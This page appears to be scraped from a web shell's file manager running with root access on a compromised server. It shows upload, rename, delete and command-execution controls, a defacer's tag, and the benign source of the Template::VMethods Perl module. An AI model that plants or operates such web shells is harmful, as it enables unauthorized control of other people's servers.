usr
/
local
/
lib64
/
perl5
/
Template
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] Manual
N/A
[DIR] Namespace
N/A
[DIR] Plugin
N/A
[DIR] Stash
N/A
[DIR] Tools
N/A
[DIR] Tutorial
N/A
Base.pm
7.35 KB
Rename
Delete
Config.pm
13.38 KB
Rename
Delete
Constants.pm
9.39 KB
Rename
Delete
Context.pm
51.18 KB
Rename
Delete
Directive.pm
28.80 KB
Rename
Delete
Document.pm
15.98 KB
Rename
Delete
Exception.pm
6.22 KB
Rename
Delete
FAQ.pod
8.62 KB
Rename
Delete
Filters.pm
24.42 KB
Rename
Delete
Grammar.pm
96.52 KB
Rename
Delete
Iterator.pm
13.15 KB
Rename
Delete
Manual.pod
2.37 KB
Rename
Delete
Modules.pod
5.37 KB
Rename
Delete
Parser.pm
39.68 KB
Rename
Delete
Plugin.pm
8.74 KB
Rename
Delete
Plugins.pm
13.76 KB
Rename
Delete
Provider.pm
45.43 KB
Rename
Delete
Service.pm
17.29 KB
Rename
Delete
Stash.pm
28.15 KB
Rename
Delete
Test.pm
21.64 KB
Rename
Delete
Toolkit.pm
5.59 KB
Rename
Delete
Tools.pod
1.49 KB
Rename
Delete
Tutorial.pod
1.02 KB
Rename
Delete
VMethods.pm
15.30 KB
Rename
Delete
View.pm
23.45 KB
Rename
Delete
#============================================================= -*-Perl-*- # # Template::VMethods # # DESCRIPTION # Module defining virtual methods for the Template Toolkit # # AUTHOR # Andy Wardley <abw@wardley.org> # # COPYRIGHT # Copyright (C) 1996-2022 Andy Wardley. All Rights Reserved. # # This module is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. # #============================================================================ package Template::VMethods; use strict; use warnings; use Scalar::Util qw( blessed looks_like_number ); use Template::Filters; our $VERSION = '3.100'; our $DEBUG = 0 unless defined $DEBUG; our $ROOT_VMETHODS = { inc => \&root_inc, dec => \&root_dec, }; our $TEXT_VMETHODS = { item => \&text_item, list => \&text_list, hash => \&text_hash, length => \&text_length, size => \&text_size, empty => \&text_empty, defined => \&text_defined, upper => \&text_upper, lower => \&text_lower, ucfirst => \&text_ucfirst, lcfirst => \&text_lcfirst, match => \&text_match, search => \&text_search, repeat => \&text_repeat, replace => \&text_replace, remove => \&text_remove, split => \&text_split, chunk => \&text_chunk, substr => \&text_substr, trim => \&text_trim, collapse => \&text_collapse, squote => \&text_squote, dquote => \&text_dquote, html => \&Template::Filters::html_filter, xml => \&Template::Filters::xml_filter, }; our $HASH_VMETHODS = { item => \&hash_item, hash => \&hash_hash, size => \&hash_size, empty => \&hash_empty, each => \&hash_each, keys => \&hash_keys, values => \&hash_values, items => \&hash_items, pairs => \&hash_pairs, list => \&hash_list, exists => \&hash_exists, defined => \&hash_defined, delete => \&hash_delete, import => \&hash_import, sort => \&hash_sort, nsort => \&hash_nsort, }; our $LIST_VMETHODS = { item => \&list_item, list => \&list_list, hash => \&list_hash, push => \&list_push, pop => \&list_pop, unshift => \&list_unshift, shift => \&list_shift, max => \&list_max, size => \&list_size, empty => \&list_empty, defined => \&list_defined, first => \&list_first, last => \&list_last, reverse => \&list_reverse, grep => \&list_grep, join => \&list_join, sort => \&list_sort, nsort => \&list_nsort, unique => \&list_unique, import => \&list_import, merge => \&list_merge, slice => \&list_slice, splice => \&list_splice, }; # Template::Stash needs the above, so defer loading this module # until they are defined. require Template::Stash; our $PRIVATE = $Template::Stash::PRIVATE; #======================================================================== # root virtual methods #======================================================================== sub root_inc { no warnings; my $item = shift; ++$item; } sub root_dec { no warnings; my $item = shift; --$item; } #======================================================================== # text virtual methods #======================================================================== sub text_item { $_[0]; } sub text_list { [ $_[0] ]; } sub text_hash { { value => $_[0] }; } sub text_length { length $_[0]; } sub text_size { return 1; } sub text_empty { return 0 == text_length($_[0]) ? 1 : 0; } sub text_defined { return 1; } sub text_upper { return uc $_[0]; } sub text_lower { return lc $_[0]; } sub text_ucfirst { return ucfirst $_[0]; } sub text_lcfirst { return lcfirst $_[0]; } sub text_trim { for ($_[0]) { s/^\s+//; s/\s+$//; } return $_[0]; } sub text_collapse { for ($_[0]) { s/^\s+//; s/\s+$//; s/\s+/ /g } return $_[0]; } sub text_match { my ($str, $search, $global) = @_; return $str unless defined $str and defined $search; my @matches = $global ? ($str =~ /$search/g) : ($str =~ /$search/); return @matches ? \@matches : ''; } sub text_search { my ($str, $pattern) = @_; return $str unless defined $str and defined $pattern; return $str =~ /$pattern/; } sub text_repeat { my ($str, $count) = @_; $str = '' unless defined $str; return '' unless $count; $count ||= 1; return $str x $count; } sub text_replace { my ($text, $pattern, $replace, $global) = @_; $text = '' unless defined $text; $pattern = '' unless defined $pattern; $replace = '' unless defined $replace; $global = 1 unless defined $global; if ($replace =~ /\$\d+/) { # replacement string may contain backrefs my $expand = sub { my ($chunk, $start, $end) = @_; $chunk =~ s{ \\(\\|\$) | \$ (\d+) }{ $1 ? $1 : ($2 > $#$start || $2 == 0 || !defined $start->[$2]) ? '' : substr($text, $start->[$2], $end->[$2] - $start->[$2]); }exg; $chunk; }; if ($global) { $text =~ s{$pattern}{ &$expand($replace, [@-], [@+]) }eg; } else { $text =~ s{$pattern}{ &$expand($replace, [@-], [@+]) }e; } } else { if ($global) { $text =~ s/$pattern/$replace/g; } else { $text =~ s/$pattern/$replace/; } } return $text; } sub text_remove { my ($str, $search) = @_; return $str unless defined $str and defined $search; $str =~ s/$search//g; return $str; } sub text_split { my ($str, $split, $limit) = @_; $str = '' unless defined $str; # For versions of Perl prior to 5.18 we have to be very careful about # spelling out each possible combination of arguments because split() # is very sensitive to them, for example C<split(' ', ...)> behaves # differently to C<$space=' '; split($space, ...)>. Test 33 of # vmethods/text.t depends on this behaviour. if ($] < 5.018) { if (defined $limit) { return [ defined $split ? split($split, $str, $limit) : split(' ', $str, $limit) ]; } else { return [ defined $split ? split($split, $str) : split(' ', $str) ]; } } # split's behavior changed in Perl 5.18.0 making this: # C<$space=' '; split($space, ...)> # behave the same as this: # C<split(' ', ...)> # qr// behaves the same, so use that for user-defined split. my $split_re; if (defined $split) { eval { $split_re = qr/$split/; }; } $split_re = ' ' unless defined $split_re; $limit ||= 0; return [split($split_re, $str, $limit)]; } sub text_chunk { my ($string, $size) = @_; my @list; $size ||= 1; if ($size < 0) { # sexeger! It's faster to reverse the string, search # it from the front and then reverse the output than to # search it from the end, believe it nor not! $string = reverse $string; $size = -$size; unshift(@list, scalar reverse $1) while ($string =~ /((.{$size})|(.+))/g); } else { push(@list, $1) while ($string =~ /((.{$size})|(.+))/g); } return \@list; } sub text_substr { my ($text, $offset, $length, $replacement) = @_; $offset ||= 0; if(defined $length) { if (defined $replacement) { substr( $text, $offset, $length, $replacement ); return $text; } else { return substr( $text, $offset, $length ); } } else { return substr( $text, $offset ); } } sub text_squote { my $text = shift; for ($text) { s/(['\\])/\\$1/g; } return $text; } sub text_dquote { my $text = shift; for ($text) { s/(["\\])/\\$1/g; s/\n/\\n/g; } return $text; } #======================================================================== # hash virtual methods #======================================================================== sub hash_item { my ($hash, $item) = @_; $item = '' unless defined $item; return if $PRIVATE && $item =~ /$PRIVATE/; $hash->{ $item }; } sub hash_hash { $_[0]; } sub hash_size { scalar keys %{$_[0]}; } sub hash_empty { return 0 == hash_size($_[0]) ? 1 : 0; } sub hash_each { # this will be changed in TT3 to do what hash_pairs() does [ %{ $_[0] } ]; } sub hash_keys { [ keys %{ $_[0] } ]; } sub hash_values { [ values %{ $_[0] } ]; } sub hash_items { [ %{ $_[0] } ]; } sub hash_pairs { [ map { { key => $_ , value => $_[0]->{ $_ } } } sort keys %{ $_[0] } ]; } sub hash_list { my ($hash, $what) = @_; $what ||= ''; return ($what eq 'keys') ? [ keys %$hash ] : ($what eq 'values') ? [ values %$hash ] : ($what eq 'each') ? [ %$hash ] : [ # for now we do what pairs does but this will be changed # in TT3 to return [ $hash ] by default map { { key => $_ , value => $hash->{ $_ } } } sort keys %$hash ]; } sub hash_exists { exists $_[0]->{ $_[1] }; } sub hash_defined { # return the item requested, or 1 if no argument # to indicate that the hash itself is defined my $hash = shift; return @_ ? defined $hash->{ $_[0] } : 1; } sub hash_delete { my $hash = shift; delete $hash->{ $_ } for @_; } sub hash_import { my ($hash, $imp) = @_; $imp = {} unless ref $imp eq 'HASH'; @$hash{ keys %$imp } = values %$imp; return ''; } sub hash_sort { my ($hash) = @_; [ sort { lc $hash->{$a} cmp lc $hash->{$b} } (keys %$hash) ]; } sub hash_nsort { my ($hash) = @_; [ sort { $hash->{$a} <=> $hash->{$b} } (keys %$hash) ]; } #======================================================================== # list virtual methods #======================================================================== sub list_item { $_[0]->[ $_[1] || 0 ]; } sub list_list { $_[0]; } sub list_hash { my $list = shift; if (@_) { my $n = shift || 0; return { map { ($n++, $_) } @$list }; } no warnings; return { @$list }; } sub list_push { my $list = shift; push(@$list, @_); return ''; } sub list_pop { my $list = shift; pop(@$list); } sub list_unshift { my $list = shift; unshift(@$list, @_); return ''; } sub list_shift { my $list = shift; shift(@$list); } sub list_max { no warnings; my $list = shift; $#$list; } sub list_size { no warnings; my $list = shift; $#$list + 1; } sub list_empty { return 0 == list_size($_[0]) ? 1 : 0; } sub list_defined { # return the item requested, or 1 if no argument to # indicate that the hash itself is defined my $list = shift; return 1 unless @_; # list.defined is always true return unless looks_like_number $_[0]; # list.defined('bah') is always false return defined $list->[$_[0]]; # list.defined(n) } sub list_first { my $list = shift; return $list->[0] unless @_; return [ @$list[0..$_[0]-1] ]; } sub list_last { my $list = shift; return $list->[-1] unless @_; return [ @$list[-$_[0]..-1] ]; } sub list_reverse { my $list = shift; [ reverse @$list ]; } sub list_grep { my ($list, $pattern) = @_; $pattern ||= ''; return [ grep /$pattern/, @$list ]; } sub list_join { my ($list, $joint) = @_; join(defined $joint ? $joint : ' ', map { defined $_ ? $_ : '' } @$list); } sub _list_sort_make_key { my ($item, $fields) = @_; my @keys; if (ref($item) eq 'HASH') { @keys = map { $item->{ $_ } } @$fields; } elsif (blessed $item) { @keys = map { $item->can($_) ? $item->$_() : $item } @$fields; } else { @keys = $item; } # ugly hack to generate a single string using a delimiter that is # unlikely (but not impossible) to be found in the wild. return lc join('/*^UNLIKELY^*/', map { defined $_ ? $_ : '' } @keys); } sub list_sort { my ($list, @fields) = @_; return $list unless @$list > 1; # no need to sort 1 item lists return [ @fields # Schwartzian Transform ? map { $_->[0] } # for case insensitivity sort { $a->[1] cmp $b->[1] } map { [ $_, _list_sort_make_key($_, \@fields) ] } @$list : map { $_->[0] } sort { $a->[1] cmp $b->[1] } map { [ $_, lc $_ ] } @$list, ]; } sub list_nsort { my ($list, @fields) = @_; return $list unless @$list > 1; # no need to sort 1 item lists my $sort = sub { my $cmp; if(@fields) { # compare each field individually for my $field (@fields) { my $A = _list_sort_make_key($a, [ $field ]); my $B = _list_sort_make_key($b, [ $field ]); ($cmp = $A <=> $B) and last; } } else { my $A = _list_sort_make_key($a); my $B = _list_sort_make_key($b); $cmp = $A <=> $B; } $cmp; }; return [ sort $sort @{ $list } ]; } sub list_unique { my %u; [ grep { ++$u{$_} == 1 } @{$_[0]} ]; } sub list_import { my $list = shift; push(@$list, grep defined, map ref eq 'ARRAY' ? @$_ : undef, @_); return $list; } sub list_merge { my $list = shift; return [ @$list, grep defined, map ref eq 'ARRAY' ? @$_ : undef, @_ ]; } sub list_slice { my ($list, $from, $to) = @_; $from ||= 0; $to = $#$list unless defined $to; $from += @$list if $from < 0; $to += @$list if $to < 0; return [ @$list[$from..$to] ]; } sub list_splice { my ($list, $offset, $length, @replace) = @_; if (@replace) { # @replace can contain a list of multiple replace items, or # be a single reference to a list @replace = @{ $replace[0] } if @replace == 1 && ref $replace[0] eq 'ARRAY'; return [ splice @$list, $offset, $length, @replace ]; } elsif (defined $length) { return [ splice @$list, $offset, $length ]; } elsif (defined $offset) { return [ splice @$list, $offset ]; } else { return [ splice(@$list) ]; } } 1; __END__ =head1 NAME Template::VMethods - Virtual methods for variables =head1 DESCRIPTION The C<Template::VMethods> module implements the virtual methods that can be applied to variables. Please see L<Template::Manual::VMethods> for further information. =head1 AUTHOR Andy Wardley E<lt>abw@wardley.orgE<gt> L<http://wardley.org/> =head1 COPYRIGHT Copyright (C) 1996-2022 Andy Wardley. All Rights Reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 SEE ALSO L<Template::Stash>, L<Template::Manual::VMethods> =cut # Local Variables: # mode: perl # perl-indent-level: 4 # indent-tabs-mode: nil # End: # # vim: expandtab shiftwidth=4:
Save